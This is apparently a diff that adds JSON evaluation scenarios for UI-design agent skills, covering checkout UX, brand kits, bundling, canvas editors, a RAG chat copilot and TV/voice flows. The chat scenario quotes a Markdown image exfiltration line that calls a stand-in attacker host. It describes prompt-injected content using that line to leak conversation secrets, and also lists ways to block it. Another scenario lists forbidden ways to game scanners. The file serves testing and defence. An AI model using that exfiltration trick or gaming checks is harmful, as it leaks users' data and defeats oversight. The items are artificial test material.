+ "collects raw credit card numbers in custom inputs instead of PCI-isolated hosted elements or wipes fields on decline"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "WebAuthn and authentication UX",
23
+ "pass": "uses autocomplete='username webauthn', feature-detects isConditionalMediationAvailable(), passes AbortController signal, and allows paste/password managers",
24
+ "fail": "forces disruptive modal WebAuthn on load or disables paste on password/OTP fields"
25
+ },
26
+ {
27
+ "dimension": "OTP and MFA ergonomics",
28
+ "pass": "supports full-code paste with autocomplete='one-time-code' and inputmode='numeric', plus resend countdown and editable email",
29
+ "fail": "breaks SMS autofill or forces users to type digits one box at a time without paste"
30
+ },
31
+ {
32
+ "dimension": "checkout safety and recovery",
33
+ "pass": "uses PCI-isolated Elements themed with tokens, locks Pay CTA with exact amount during submit, and preserves fields on card decline",
34
+ "fail": "handles raw PANs in app state or clears user inputs on payment failure"
35
+ }
36
+ ],
37
+ "negativeControls": [
38
+ {
39
+ "name": "blocked password paste",
40
+ "input": "add onPaste={(e) => e.preventDefault()} on the confirm-password and OTP inputs",
41
+ "mustNot": "approve blocking paste on password or OTP inputs"
42
+ },
43
+ {
44
+ "name": "unaborted conditional webauthn",
45
+ "input": "call navigator.credentials.get({ mediation: 'conditional' }) without AbortController or feature detection",
46
+ "mustNot": "omit isConditionalMediationAvailable() check or AbortController cancellation"
47
+ }
48
+ ],
49
+ "baseline": {
50
+ "withoutSkill": "blocks paste on OTP/passwords, fires unguarded WebAuthn prompts, or wipes checkout fields on decline",
51
+ "withSkill": "wires conditional WebAuthn with AbortController, WCAG 3.3.8 paste/autofill support, PCI-isolated payment elements, and resilient decline recovery"
52
+ }
53
+ }
@@ -0,0 +1,48 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "brandkit-identity-governance",
4
+ "skill": "pixelcraft-brandkit",
5
+ "title": "Compare distinct brand worlds, keep rejected concepts outside the image prompt, and ship small-size icon evidence",
6
+ "contextSnapshot": {
7
+ "surface": "brand identity board, icon system, and DTCG token handoff",
8
+ "platform": "cross-platform brand asset pipeline (iOS/macOS, Android, web SVG)",
9
+ "mode": "Persuade",
10
+ "states": ["brand-world divergence", "small-size 16px/32px reduction", "light and dark mark contrast", "DTCG token export"],
11
+ "constraints": ["no rejected ideas inside image prompt", "no legal trademark clearance claims", "real SVGO preset-default optimization"]
12
+ },
13
+ "prompt": "Create a brand-kit identity board and icon asset pipeline for an open-source telemetry database, comparing distinct visual worlds before image prompting and handing off tokens.",
14
+ "expectedRouting": ["pixelcraft-brandkit", "references/prompt-template.md", "references/asset-pipeline.md", "pixelcraft-tokens"],
15
+ "forbiddenBehaviors": [
16
+ "embeds rejected concept descriptions inside the image-generation prompt block where models leak them onto the board",
17
+ "uses generic purple-indigo glow orbs or lightning bolt cliches as the mark",
18
+ "claims the generated mark is legally cleared for trademark registration or omits 16px/32px legibility reduction"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "brand-world divergence and prompt hygiene",
23
+ "pass": "compares 2-3 materially different brand worlds in a separate decision log and keeps rejected concepts outside the image prompt",
24
+ "fail": "jumps straight to one prompt or leaks rejected concepts into the generation prompt"
25
+ },
26
+ {
27
+ "dimension": "reproduction and icon pipeline",
28
+ "pass": "specifies small-size reductions, light/dark contrast pairs, iOS/macOS layered or dark/tinted icon outputs, and valid SVGO preset-default config",
29
+ "fail": "produces only a complex hero illustration that collapses at 16px or emits broken SVGO config"
30
+ },
31
+ {
32
+ "dimension": "governance and token handoff",
33
+ "pass": "hands off semantic palette and type roles to pixelcraft-tokens and escalates trademark clearance outside agent authority",
34
+ "fail": "implies legal clearance or leaves colors as unmapped hex swatches"
35
+ }
36
+ ],
37
+ "negativeControls": [
38
+ {
39
+ "name": "hero-only board proof",
40
+ "input": "a high-resolution 4K brand board image looks detailed at full size",
41
+ "mustNot": "treat full-size detail as evidence that the mark survives 16px favicon or monochrome reproduction"
42
+ }
43
+ ],
44
+ "baseline": {
45
+ "withoutSkill": "writes a single generic dark-indigo neon prompt with rejected concepts inside the prompt text and no small-size or token handoff",
46
+ "withSkill": "diverges across distinct brand worlds, isolates the final image prompt, specifies small-size/contrast/icon deliverables, and routes palette/type to DTCG tokens"
47
+ }
48
+ }
@@ -0,0 +1,53 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "build-and-architecture",
4
+ "skill": "pixelcraft-web",
5
+ "title": "Select version-accurate frontend bundlers, rendering strategy, and browser runtime offloading",
6
+ "contextSnapshot": {
7
+ "surface": "multi-team enterprise web app with heavy client-side CSV/canvas analytics and offline support",
8
+ "platform": "Vite 8 / Rsbuild + TypeScript",
9
+ "mode": "Operate",
10
+ "states": ["initial load", "offline mutation queue", "heavy data parsing", "federated remote load"],
11
+ "constraints": ["Vite 8 Rolldown/Oxc compatibility", "INP < 200ms", "no duplicate React singletons across remotes"]
12
+ },
13
+ "prompt": "Configure Vite 8 bundling, Module Federation shared singletons, Web Worker/OffscreenCanvas offloading, and Serwist offline caching for our frontend app.",
14
+ "expectedRouting": ["pixelcraft-web", "references/build-and-architecture.md", "references/pwa.md"],
15
+ "forbiddenBehaviors": [
16
+ "writes deprecated esbuild or optimizeDeps.esbuildOptions config as the primary Vite 8 pattern",
17
+ "configures Module Federation remotes without marking React as a singleton",
18
+ "stores mutable offline queue state in Service Worker in-memory variables"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "bundler version accuracy",
23
+ "pass": "uses Vite 8 oxc and build.rolldownOptions / optimizeDeps.rolldownOptions (or Rsbuild moduleFederation.options) accurately",
24
+ "fail": "copies outdated Vite 5/6 esbuild or Rollup-only config into a Vite 8 setup"
25
+ },
26
+ {
27
+ "dimension": "architecture and federation safety",
28
+ "pass": "matches rendering strategy to route needs and pins singleton shared dependencies with version ranges in Module Federation",
29
+ "fail": "recommends microfrontends without deployment justification or omits singleton constraints"
30
+ },
31
+ {
32
+ "dimension": "runtime and offline resilience",
33
+ "pass": "offloads heavy compute/canvas to Web Workers/OffscreenCanvas and uses Serwist/Workbox with persistent storage and BackgroundSyncPlugin",
34
+ "fail": "blocks the main thread or relies on ephemeral Service Worker memory"
35
+ }
36
+ ],
37
+ "negativeControls": [
38
+ {
39
+ "name": "vite 8 deprecated esbuild config",
40
+ "input": "add optimizeDeps.esbuildOptions and build.minify: 'esbuild' for a new Vite 8 project",
41
+ "mustNot": "recommend deprecated esbuild options as default in Vite 8"
42
+ },
43
+ {
44
+ "name": "ephemeral sw memory",
45
+ "input": "keep failed POST requests in a let queue = [] array inside sw.ts",
46
+ "mustNot": "approve in-memory Service Worker arrays for offline persistence"
47
+ }
48
+ ],
49
+ "baseline": {
50
+ "withoutSkill": "writes outdated Vite/esbuild config, omits Module Federation singleton pins, and blocks the main thread",
51
+ "withSkill": "uses Vite 8 Rolldown/Oxc options, enforces Module Federation singletons, offloads heavy work to Workers/OffscreenCanvas, and wires Serwist caching safely"
52
+ }
53
+ }
@@ -0,0 +1,53 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "canvas-and-node-editors",
4
+ "skill": "pixelcraft-web",
5
+ "title": "Select and implement node-graph, 2D canvas, whiteboard, and drag-and-drop editors safely",
6
+ "contextSnapshot": {
7
+ "surface": "visual workflow builder and kanban board with custom canvas annotation",
8
+ "platform": "React + TypeScript",
9
+ "mode": "Operate",
10
+ "states": ["node drag/connect", "large 2D canvas drag", "keyboard list reorder", "cleanup on unmount"],
11
+ "constraints": ["60fps drag without node remounts", "WCAG keyboard alternative for drag-and-drop", "no leaked DnD listeners"]
12
+ },
13
+ "prompt": "Build a React Flow workflow editor, a Konva 2D annotation stage, and an accessible drag-and-drop kanban board without frame drops or keyboard barriers.",
14
+ "expectedRouting": ["pixelcraft-web", "references/canvas-and-node-editors.md", "pixelcraft-accessibility"],
15
+ "forbiddenBehaviors": [
16
+ "passes an unmemoized inline nodeTypes object literal to ReactFlow on every render",
17
+ "omits KeyboardSensor in dnd-kit or ships pointer-only Pragmatic DnD without a keyboard reorder alternative",
18
+ "omits cleanup functions when registering Pragmatic Drag and Drop draggable or dropTargetForElements"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "engine fit and memoization",
23
+ "pass": "selects React Flow/XYFlow for DOM node workflows, Konva/Fabric for 2D canvas, tldraw/Excalidraw for whiteboards, and memoizes nodeTypes/edgeTypes and callbacks",
24
+ "fail": "creates inline nodeTypes on every render or picks the wrong rendering model for the object count"
25
+ },
26
+ {
27
+ "dimension": "2D canvas performance",
28
+ "pass": "minimizes Konva layers, sets listening=false on static layers, caches complex shapes, and uses a dedicated drag layer",
29
+ "fail": "redraws all uncached shapes on one listening layer during drag"
30
+ },
31
+ {
32
+ "dimension": "drag-and-drop accessibility and cleanup",
33
+ "pass": "preserves KeyboardSensor in dnd-kit or adds keyboard reorder actions + ARIA live announcements with Pragmatic DnD combine() cleanup",
34
+ "fail": "ships pointer-only DnD or leaks listeners on unmount"
35
+ }
36
+ ],
37
+ "negativeControls": [
38
+ {
39
+ "name": "inline reactflow nodeTypes",
40
+ "input": "render <ReactFlow nodeTypes={{ trigger: TriggerNode }} /> directly inside the component body",
41
+ "mustNot": "accept unmemoized inline nodeTypes objects inside render"
42
+ },
43
+ {
44
+ "name": "pointer-only dnd",
45
+ "input": "pass sensors={[PointerSensor]} to DragDropProvider and remove KeyboardSensor",
46
+ "mustNot": "approve removing keyboard drag-and-drop without an accessible keyboard alternative"
47
+ }
48
+ ],
49
+ "baseline": {
50
+ "withoutSkill": "creates inline React Flow nodeTypes, redraws uncached Konva layers, and implements pointer-only drag-and-drop",
51
+ "withSkill": "memoizes React Flow types, applies Konva layer/cache/drag-layer optimization, and pairs DnD with keyboard accessibility and clean listener teardown"
52
+ }
53
+ }
@@ -0,0 +1,43 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "chat-ai-exfiltration-ime-hitl-gate",
4
+ "skill": "pixelcraft-chat-ui",
5
+ "title": "Design an enterprise RAG & tool-calling AI workspace with Markdown image exfiltration defense, IME Enter guard, unlocked streaming composer, and HITL diff approval",
6
+ "contextSnapshot": {
7
+ "surface": "Enterprise AI support and database-action copilot",
8
+ "platform": "Web application (HTML/CSS/TypeScript streaming workspace)",
9
+ "mode": "Collaborate",
10
+ "states": ["streaming RAG answer with citations", "Japanese/Vietnamese IME composition in composer", "untrusted external Markdown image in retrieved doc", "destructive SQL/API tool call awaiting approval", "429 rate-limit retry countdown", "human agent escalation"],
11
+ "constraints": ["block untrusted Markdown image exfiltration via CSP img-src / proxy", "preserve editable composer during streaming with Stop AbortController", "guard Enter submit against active IME composition", "show human-readable Before -> After diff on HITL approval cards"]
12
+ },
13
+ "prompt": "Build an enterprise AI copilot chat workspace that renders cited RAG answers from untrusted customer tickets, supports Japanese and Vietnamese Telex typing, lets agents approve or reject account-modifying tool calls, handles 429 rate limits, and hands off unresolved threads to a human specialist.",
14
+ "expectedRouting": ["pixelcraft-chat-ui", "references/agentic-workspace.md", "references/conversation-design.md", "references/ai-ui-libraries.md"],
15
+ "forbiddenBehaviors": [
16
+ "auto-loads arbitrary external `![...](https://attacker.tld/leak?q=...)` Markdown images so prompt-injected RAG content exfiltrates conversation secrets",
17
+ "disables the text composer while streaming (`disabled={isBusy}`) or submits prematurely when pressing Enter to confirm IME candidates (`!event.isComposing` omitted)",
18
+ "renders blind raw JSON payloads on tool-approval buttons instead of a clear Before -> After impact diff, or yanks scroll position while the user reads earlier messages"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "prompt-injection exfiltration defense and input ergonomics",
23
+ "pass": "blocks/proxies untrusted external Markdown images via strict CSP img-src, guards Enter-to-send with `event.isComposing || event.keyCode === 229`, keeps the composer editable during streaming with an explicit Stop (AbortController) toggle, and sticks scroll only near the bottom",
24
+ "fail": "renders remote third-party Markdown images automatically, locks the input during streaming, or fires send on IME candidate commit"
25
+ },
26
+ {
27
+ "dimension": "HITL transparency, grounded citations, and recovery/escalation",
28
+ "pass": "presents Before -> After diffs on destructive tool approvals, links citations to verifiable source passages, formats errors with What/Why/Next + 429 Retry-After countdown, exposes data-retention/delete controls, and transfers context cleanly on human escalation",
29
+ "fail": "asks users to approve opaque tool calls, invents citation URLs, or dead-ends on rate limits and unresolved intents"
30
+ }
31
+ ],
32
+ "negativeControls": [
33
+ {
34
+ "name": "English happy-path chat bubble demo",
35
+ "input": "streaming markdown text renders smoothly for an English prompt",
36
+ "mustNot": "claim enterprise readiness without verifying Markdown image exfiltration blocking, IME Enter composition safety, HITL diff cards, and scroll-anchor discipline"
37
+ }
38
+ ],
39
+ "baseline": {
40
+ "withoutSkill": "renders untrusted Markdown images allowing data exfiltration, disables the input while streaming, breaks Telex/CJK Enter composition, and shows raw JSON tool approvals",
41
+ "withSkill": "delivers an exfiltration-hardened, IME-safe streaming copilot with unlocked steering, Before -> After HITL approval cards, grounded citations, and warm human escalation"
42
+ }
43
+ }
@@ -0,0 +1,44 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "completion-gate-scan-until-clean",
4
+ "skill": "pixelcraft",
5
+ "title": "Enforce the Mandatory Completion Gate in .pixelcraft/plan.md and run Scan-Fix-Rescan until slop-scan, check-* CLIs, compiler, and Studio checklists pass cleanly",
6
+ "contextSnapshot": {
7
+ "surface": "Multi-screen SaaS workspace and transactional notification templates",
8
+ "platform": "Cross-stack UI workflow (orchestrator + plan + review + visual-qa)",
9
+ "mode": "Operate",
10
+ "states": ["initial build with P1/P2 scan findings", "repair round fixing IME Enter guard and focus ring", "rescan verification to exit 0", "checklist sign-off before final report"],
11
+ "constraints": [".pixelcraft/plan.md must lock in Definition-of-Done scan & checklist commands before Build", "Phase 5 -> Phase 6 <HARD-GATE> forbids stopping while deterministic scans or checklists fail", "fixes must be rescanned until exit 0 without suppressing rules or inventing waivers"]
12
+ },
13
+ "prompt": "Plan, implement, and verify an account security & notification settings flow. Ensure the plan defines a binding completion gate and do not finish until every applicable checklist and automated scanner passes cleanly.",
14
+ "expectedRouting": ["pixelcraft", "pixelcraft-plan", "pixelcraft-review", "pixelcraft-visual-qa", "references/workflow-checkpoints.md", "references/floor.md", "references/report-template.md"],
15
+ "forbiddenBehaviors": [
16
+ "writes .pixelcraft/plan.md with only vague verification notes instead of concrete scan, compiler/test, and checklist Definition-of-Done gates",
17
+ "stops immediately after Phase 4 Build or after a single scan pass while slop-scan --fail-on p2, check-* CLIs, compiler/tests, or checklist rows still fail",
18
+ "edits files to fix a reported finding and reports completion without re-running slop-scan, check-*, and build/test commands to confirm exit 0",
19
+ "adds unauthorized waivers, suppresses errors, or deletes required UI content just to force a zero scan score"
20
+ ],
21
+ "rubricDimensions": [
22
+ {
23
+ "dimension": "binding Definition-of-Done completion contract in .pixelcraft/plan.md",
24
+ "pass": "populates the Mandatory completion gate & scan-until-clean contract in .pixelcraft/plan.md with exact slop-scan --fail-on p2, applicable check-* CLIs, active-language compiler/linter/tests, rendered finish-gate, and floor/platform/polish checklists before coding",
25
+ "fail": "starts coding without an explicit exit gate or treats verification as optional post-hoc commentary"
26
+ },
27
+ {
28
+ "dimension": "Scan -> Fix -> Rescan execution and item-by-item checklist sign-off",
29
+ "pass": "executes all applicable scanners and compiler/tests, walks floor.md + platform Pre-submit + polish.md (B1-B6) row-by-row, repairs every deterministic failure, re-runs all scans until exit 0, and records commands + repair rounds + exit codes in the final report",
30
+ "fail": "stops with unfixed P0-P2 scan hits, skips rescanning after code edits, or skims checklists without verifying each applicable item"
31
+ }
32
+ ],
33
+ "negativeControls": [
34
+ {
35
+ "name": "fix applied without rescan",
36
+ "input": "slop-scan reports outline-removed and ime-enter-without-composing; agent patches CSS/JSX and immediately outputs final report without re-running slop-scan --fail-on p2 or compiler",
37
+ "mustNot": "claim Phase 5 Verify passed without re-executing the failing scans and confirming exit 0"
38
+ }
39
+ ],
40
+ "baseline": {
41
+ "withoutSkill": "writes code and stops immediately or stops after one partial check, leaving unverified regressions, unfixed P1/P2 scan findings, and skipped checklist items",
42
+ "withSkill": "locks a Definition-of-Done contract into .pixelcraft/plan.md, walks all applicable Studio checklists, loops Scan -> Fix -> Rescan until slop-scan --fail-on p2, check-*, and compiler/tests exit 0, and reports exact scan evidence"
43
+ }
44
+ }
@@ -0,0 +1,53 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "component-systems",
4
+ "skill": "pixelcraft-web",
5
+ "title": "Choose component system architecture without library sprawl",
6
+ "contextSnapshot": {
7
+ "surface": "multi-brand B2B design system web app",
8
+ "platform": "React 19 + Next.js App Router",
9
+ "mode": "Operate",
10
+ "states": ["modal dialog", "dropdown menu", "keyboard navigation", "SSR hydration"],
11
+ "constraints": ["distinctive brand identity", "strict WCAG AA", "existing Tailwind v4 tokens"]
12
+ },
13
+ "prompt": "Choose a component system and positioning strategy for our custom B2B React design system and explain how overlays and focus should be wired.",
14
+ "expectedRouting": ["pixelcraft-web", "references/component-systems.md", "references/html-css.md"],
15
+ "forbiddenBehaviors": [
16
+ "recommends mixing two styled enterprise UI libraries on the same surface",
17
+ "ignores distinction between headless primitives, source-first components, and styled suites",
18
+ "uses non-deterministic random IDs for ARIA attributes in SSR"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "model selection",
23
+ "pass": "contrasts headless, source-first, and styled/enterprise models against brand and accessibility constraints",
24
+ "fail": "recommends a library by popularity without trade-off analysis"
25
+ },
26
+ {
27
+ "dimension": "composition and positioning",
28
+ "pass": "distinguishes render/asChild composition and evaluates native popover + Anchor Positioning vs Floating UI",
29
+ "fail": "defaults to manual z-index divs or omits ARIA/focus ownership"
30
+ },
31
+ {
32
+ "dimension": "ssr and focus contract",
33
+ "pass": "requires deterministic useId(), inert/focus trap, Escape dismissal, and trigger focus restoration",
34
+ "fail": "leaves focus management or SSR hydration unspecified"
35
+ }
36
+ ],
37
+ "negativeControls": [
38
+ {
39
+ "name": "library mixing",
40
+ "input": "install MUI for dialogs and Ant Design for tables in one Tailwind app",
41
+ "mustNot": "approve combining competing styled libraries on the same surface"
42
+ },
43
+ {
44
+ "name": "div trigger",
45
+ "input": "wrap a plain div in asChild as a dialog trigger",
46
+ "mustNot": "accept non-semantic div triggers without keyboard/role semantics"
47
+ }
48
+ ],
49
+ "baseline": {
50
+ "withoutSkill": "defaults to a single popular library without analyzing ownership, positioning, or SSR focus traps",
51
+ "withSkill": "selects headless/source-first primitives aligned to tokens, separates positioning from ARIA, and specifies SSR/focus contracts"
52
+ }
53
+ }
@@ -0,0 +1,53 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "component-testing",
4
+ "skill": "pixelcraft-web",
5
+ "title": "Design component workshop, real-browser testing, visual regression, and axe-core checks",
6
+ "contextSnapshot": {
7
+ "surface": "design system component library and SaaS web app",
8
+ "platform": "Vite + Vitest 4 + Storybook + Playwright",
9
+ "mode": "Operate",
10
+ "states": ["dialog open/confirm", "error banner", "dark mode visual diff", "WCAG AA axe scan"],
11
+ "constraints": ["real-browser verification for layout/focus", "no brittle testid-first queries", "stable visual snapshots"]
12
+ },
13
+ "prompt": "Set up Storybook interaction tests, Vitest Browser Mode, Playwright visual snapshots, and automated axe-core accessibility regression for our component library.",
14
+ "expectedRouting": ["pixelcraft-web", "references/component-testing.md", "pixelcraft-visual-qa"],
15
+ "forbiddenBehaviors": [
16
+ "claims jsdom unit tests prove visual layout or responsive rendering",
17
+ "defaults to data-testid queries and fireEvent instead of getByRole and userEvent.setup()",
18
+ "treats zero axe-core violations as complete WCAG compliance without keyboard/focus verification"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "testing layer fit",
23
+ "pass": "separates unit/DOM logic tests from real-browser component tests (Vitest Browser Mode or Storybook/Playwright) and E2E journeys",
24
+ "fail": "uses jsdom to claim visual/layout correctness or recommends removed @playwright/experimental-ct-* on Playwright 1.63+"
25
+ },
26
+ {
27
+ "dimension": "accessibility-first queries and interactions",
28
+ "pass": "uses getByRole/getByLabelText, userEvent.setup(), Storybook CSF 3 play functions, and shared @axe-core/playwright fixtures",
29
+ "fail": "relies on brittle CSS selectors/testids or low-level fireEvent"
30
+ },
31
+ {
32
+ "dimension": "visual regression stability",
33
+ "pass": "stabilizes snapshots with animations disabled, fonts ready, and masked dynamic regions across states",
34
+ "fail": "takes unmasked screenshots with live timestamps or arbitrary sleep timeouts"
35
+ }
36
+ ],
37
+ "negativeControls": [
38
+ {
39
+ "name": "jsdom visual proof claim",
40
+ "input": "mark responsive layout as rendered PASS because the Vitest jsdom snapshot passed",
41
+ "mustNot": "accept jsdom tests as rendered visual or layout evidence"
42
+ },
43
+ {
44
+ "name": "axe-only a11y claim",
45
+ "input": "skip keyboard tab-order testing because AxeBuilder returned zero violations",
46
+ "mustNot": "claim automated axe scans alone guarantee full WCAG accessibility"
47
+ }
48
+ ],
49
+ "baseline": {
50
+ "withoutSkill": "writes jsdom-only tests with testids and fireEvent, uses outdated Vitest/Playwright CT config, and assumes axe covers all accessibility",
51
+ "withSkill": "combines CSF 3 play stories, Vitest 4 Browser Mode, Testing Library role queries + userEvent, stabilized Playwright visual diffs, and axe-core + keyboard checks"
52
+ }
53
+ }
@@ -0,0 +1,43 @@
1
+ {
2
+ "schemaVersion": 1,
3
+ "id": "constrained-voice-and-tv",
4
+ "skill": "pixelcraft-constrained",
5
+ "title": "Design D-pad 10-foot TV navigation and realtime voice-agent turn-taking with hardware constraints",
6
+ "contextSnapshot": {
7
+ "surface": "living-room TV media app with paired realtime voice assistant",
8
+ "platform": "Compose for TV / tvOS and WebRTC realtime voice agent",
9
+ "mode": "Operate",
10
+ "states": ["D-pad focus restorer", "barge-in interruption", "tool-call latency", "mic muted/privacy active"],
11
+ "constraints": ["10-foot viewing distance", "no pointer or touch", "safe overscan margins", "voice confirmation for irreversible actions"]
12
+ },
13
+ "prompt": "Design a 10-foot TV catalog screen and paired realtime voice-agent search flow that handles D-pad spatial focus, barge-in interruptions, and voice-triggered purchases safely.",
14
+ "expectedRouting": ["pixelcraft-constrained", "references/tv-wearables.md", "references/voice-ui.md"],
15
+ "forbiddenBehaviors": [
16
+ "assumes mouse hover or touch scrollbars on a 10-foot TV layout",
17
+ "ignores overscan safe zones or loses D-pad focus when returning from a detail view",
18
+ "executes irreversible voice purchases without explicit confirmation or keeps full unsaid assistant text in transcript after barge-in"
19
+ ],
20
+ "rubricDimensions": [
21
+ {
22
+ "dimension": "10-foot spatial focus and legibility",
23
+ "pass": "uses visible focus rings/scale within overscan safe margins, predictable D-pad focus restoration, and viewing-distance type scale",
24
+ "fail": "transplants mobile/web cards with tiny text or broken directional focus"
25
+ },
26
+ {
27
+ "dimension": "realtime voice ergonomics and safety",
28
+ "pass": "handles VAD/barge-in with assistant-transcript truncation, visible mic/listening state, latency masking for tool calls, and confirmation for destructive or paid actions",
29
+ "fail": "treats voice as static command-slot text without interruption handling or confirmation guardrails"
30
+ }
31
+ ],
32
+ "negativeControls": [
33
+ {
34
+ "name": "desktop browser preview as TV proof",
35
+ "input": "the 1920x1080 layout looks clean on a laptop monitor with mouse clicks",
36
+ "mustNot": "claim 10-foot legibility or D-pad focus behavior is verified from mouse-only laptop testing"
37
+ }
38
+ ],
39
+ "baseline": {
40
+ "withoutSkill": "shrinks a web dashboard onto 16:9 with hover states, ignores overscan and focus restoration, and omits barge-in truncation and voice purchase confirmation",
41
+ "withSkill": "applies 10-foot safe geometry, Compose for TV/tvOS focus idioms, realtime voice barge-in/privacy rules, and explicit not-checked hardware labels"
42
+ }
43
+ }